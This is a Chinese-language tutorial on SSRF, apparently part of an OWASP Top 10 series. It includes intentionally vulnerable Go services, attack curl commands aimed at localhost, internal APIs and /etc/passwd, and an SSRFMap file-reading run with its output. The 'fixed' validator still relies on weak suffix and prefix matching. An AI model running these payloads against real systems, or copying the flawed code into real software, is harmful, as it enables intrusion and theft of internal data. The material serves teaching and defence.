跳至主要内容

A10: 伺服端請求偽造(SSRF, Server-Side Request Forgery)

漏洞概述

伺服端請求偽造(SSRF)發生在應用程式允許用戶提供 URL,並讓伺服器代為請求該資源,但未進行適當的驗證與過濾。攻擊者可利用這個漏洞讓伺服器發送惡意請求,例如:

  • 存取內部系統(如 http://localhost/adminhttp://192.168.1.1:8080
  • 讀取內部服務(如 Redis、ElasticSearch、AWS metadata)
  • 對內部 API 進行未授權存取
  • 進行端口掃描(透過 HTTP 回應時間來判斷服務是否開放)
  • 利用伺服器發送惡意請求攻擊其他網站(DDoS 放大攻擊)

這類攻擊特別危險,因為攻擊者可以透過伺服器執行請求,繞過防火牆,攻擊內部網路。


問題分析

1. 允許用戶提供 URL,但未過濾內部請求

許多應用程式允許用戶輸入 URL 來獲取遠端資源,例如預覽網站縮圖檢索 API 資料。如果應用程式未對 URL 進行適當的過濾,攻擊者可透過這個機制請求內部系統。

攻擊方式

curl -X POST -d 'url=http://localhost:8080/admin' http://example.com/fetch
  • 攻擊者透過 /fetch API 請求 內部管理介面
  • 可能獲取敏感資訊,如伺服器日誌、資料庫狀態等

示範程式碼

package main

import (
"fmt"
"io"
"net/http"
)

func fetchHandler(w http.ResponseWriter, r *http.Request) {
url := r.FormValue("url") // 使用者提供 URL
resp, err := http.Get(url) // 直接請求
if err != nil {
http.Error(w, "請求失敗", http.StatusInternalServerError)
return
}
defer resp.Body.Close()

io.Copy(w, resp.Body) // 回傳內容給用戶
}

func main() {
http.HandleFunc("/fetch", fetchHandler)
http.ListenAndServe(":8080", nil)
}

問題

  • 未檢查 URL,導致攻擊者可請求內部服務,如 http://localhost:8080/admin
  • 可存取 AWS Metadata(http://169.254.169.254/latest/meta-data/,竊取 AWS 金鑰。
  • 可用來 掃描內部網路(判斷哪些端口開放)。

修補措施

  1. 限制請求範圍(只能請求特定網域)
  2. 禁止存取 localhost、內部 IP、雲端 Metadata 伺服器
  3. 使用 DNS 解析,避免 IP 欺騙
  4. 使用 allowlist(白名單),只允許特定的 API 網域

🛠️ 修正後(過濾內部請求)

package main

import (
"fmt"
"io"
"net/http"
"net/url"
"strings"
)

// 限制允許的網域
var allowlist = []string{"example.com", "api.example.com"}

func isValidURL(targetURL string) bool {
parsedURL, err := url.Parse(targetURL)
if err != nil {
return false
}

// 阻擋內部 IP
if strings.HasPrefix(parsedURL.Host, "localhost") || strings.HasPrefix(parsedURL.Host, "127.") || strings.HasPrefix(parsedURL.Host, "169.254.") {
return false
}

// 只允許特定網域
for _, domain := range allowlist {
if strings.HasSuffix(parsedURL.Host, domain) {
return true
}
}
return false
}

func fetchHandler(w http.ResponseWriter, r *http.Request) {
targetURL := r.FormValue("url")
if !isValidURL(targetURL) {
http.Error(w, "非法請求", http.StatusForbidden)
return
}

resp, err := http.Get(targetURL)
if err != nil {
http.Error(w, "請求失敗", http.StatusInternalServerError)
return
}
defer resp.Body.Close()

io.Copy(w, resp.Body)
}

func main() {
http.HandleFunc("/fetch", fetchHandler)
http.ListenAndServe(":8080", nil)
}

🛠️ 修正點

  • 限制請求範圍(使用 allowlist)
  • 阻擋內部 IP(localhost127.0.0.1169.254.169.254
  • 防止攻擊者繞過驗證(禁止 @、雙重解析)

2. 內部 API 未加密,攻擊者可竊取敏感資訊

某些內部 API 不需要身份驗證,導致 SSRF 可直接存取內部服務,如:

  • http://internal-api.example.com/admin
  • http://192.168.1.10:9200/_cluster/health (存取 Elasticsearch 狀態)

攻擊方式

curl -X POST -d 'url=http://internal-api.example.com/admin' http://example.com/fetch

攻擊者透過 SSRF 取得管理 API 回應,進一步提升權限。

修補措施

  1. 內部 API 必須有身份驗證與授權(避免 SSRF 請求)
  2. 內部 API 只允許內部網路存取(設置防火牆規則)
  3. 使用 TLS 來加密內部 API

3. 伺服器作為攻擊跳板(DDoS 放大攻擊)

攻擊者可利用 SSRF 讓伺服器發送大量請求,導致:

  • 對外發動 DDoS 攻擊
  • 進行垃圾郵件攻擊
  • 攻擊第三方服務

攻擊方式

curl -X POST -d 'url=http://victim.com' http://example.com/fetch

問題

  • 攻擊者可使用伺服器請求 victim.com,導致 DDoS。
  • 伺服器變成開放代理,可能被列入黑名單。

修補措施

  1. 禁止對外部網站發送請求(除非是 allowlist 內的網域)
  2. 使用 API Key 或身份驗證,避免被濫用
  3. 設定請求速率限制(Rate Limiting)

實作 SSRF

一個 完整的 Golang SSRF 漏洞示範,其中包含兩個服務:

  1. 內部服務 (internalService):模擬內部 API,包含敏感檔案讀取功能。
  2. 外部服務 (vulnerableService):具有 SSRF 漏洞,可用來請求內部服務或讀取內部檔案。

❌ 攻擊流程

  1. 攻擊者使用 SSRFMap 工具,向 vulnerableService 送出 file://http://localhost:9090/read?file=/etc/passwd 這類請求。
  2. vulnerableService 無過濾地請求該 URL,允許訪問內部檔案或內部 API。
  3. 攻擊成功!內部敏感資訊被洩漏!

1. 內部服務 (internalService - 受害者)

這是一個內部 API,提供了一個 可以讀取本地檔案的 /internal 端點,但它僅允許 file:// 協議。

程式碼

internalService.go
package main

import (
"fmt"
"net/http"
"os"
"strings"
)

func main() {
http.HandleFunc("/internal", func(w http.ResponseWriter, r *http.Request) {
url := r.URL.Query().Get("url")
if url == "" {
http.Error(w, "Missing 'url' parameter", http.StatusBadRequest)
return
}

// 只處理 file:// 協議,模擬檔案讀取
if strings.HasPrefix(url, "file://") {
filePath := strings.TrimPrefix(url, "file://")
content, err := os.ReadFile(filePath)
if err != nil {
http.Error(w, fmt.Sprintf("Error reading file: %v", err), http.StatusInternalServerError)
return
}
w.Write(content)
return
}

http.Error(w, "Only file:// protocol is supported", http.StatusBadRequest)
})

fmt.Println("Internal server running on :8081")
http.ListenAndServe(":8081", nil)
}

嚴重漏洞點

  • /internal?url=file:///etc/passwd 允許讀取 任意本地檔案!
  • 攻擊者可以透過 SSRFMap 工具來探測

2. 具有 SSRF 漏洞的服務 (vulnerableService - 被利用)

這是一個外部 API,允許用戶提供 任意 URL,然後將請求轉發給內部服務,導致 SSRF 攻擊成功。

程式碼

vulnerableService.go
package main

import (
"fmt"
"io"
"net/http"
)

func main() {
http.HandleFunc("/fetch", func(w http.ResponseWriter, r *http.Request) {
url := r.URL.Query().Get("url")
if url == "" {
http.Error(w, "Missing 'url' parameter", http.StatusBadRequest)
return
}

// 將請求轉發到內部服務
internalURL := fmt.Sprintf("http://localhost:8081/internal?url=%s", url)
resp, err := http.Get(internalURL)
if err != nil {
http.Error(w, fmt.Sprintf("Error contacting internal service: %v", err), http.StatusInternalServerError)
return
}
defer resp.Body.Close()

body, err := io.ReadAll(resp.Body)
if err != nil {
http.Error(w, fmt.Sprintf("Error reading internal response: %v", err), http.StatusInternalServerError)
return
}

w.Write(body)
})

fmt.Println("External server running on :8080")
http.ListenAndServe(":8080", nil)
}

漏洞點

  • http://localhost:8080/fetch?url=file:///etc/passwd 可以讀取內部機敏檔案!
  • 完全沒有任何過濾,導致外部使用者能透過 /fetch 存取內部 /internal 端點。

3. 使用 curl 確認漏洞存在

我們可以執行下面這行指令,他會去讀取主機的密碼檔案,如果可以讀取代表漏洞發揮中!

curl "http://localhost:8080/fetch?url=file:///etc/passwd" http://localhost:8080/fetch

4. 攻擊者利用 SSRF

攻擊者可以利用 SSRFMap 來測試並讀取內部檔案。

準備 request.txt

GET /fetch?url=file:FUZZ HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0
Accept: */*

使用 SSRFMap 掃描內部檔案

python3 ssrfmap.py -r request.txt -p url -m readfiles

成功讀取內部檔案

 _____ _________________
/ ___/ ___| ___ \ ___|
\ `--.\ `--.| |_/ / |_ _ __ ___ __ _ _ __
`--. \`--. \ /| _| '_ ` _ \ / _` | '_ \
/\__/ /\__/ / |\ \| | | | | | | | (_| | |_) |
\____/\____/\_| \_\_| |_| |_| |_|\__,_| .__/
| |
|_|
[INFO]:Module 'readfiles' launched !
[INFO]:Reading file : /etc/passwd
[INFO]:root:x:0:0:root:/root:/bin/bash
...

攻擊成功!攻擊者獲取 /etc/passwd 內容! 💀


🔒 總結

A10 伺服端請求偽造(SSRF) 的主要風險:

  • 存取內部系統(Admin 面板、資料庫、雲端 Metadata)
  • 攻擊內部 API,繞過身份驗證
  • 透過伺服器發動 DDoS 或垃圾請求

修補措施:

  • 驗證 URL,阻擋 localhost、內部 IP
  • 限制允許請求的網域(allowlist)
  • 內部 API 加入身份驗證,避免未授權存取
  • 啟用防火牆,限制內部 API 的存取
  • 設置速率限制,防止濫用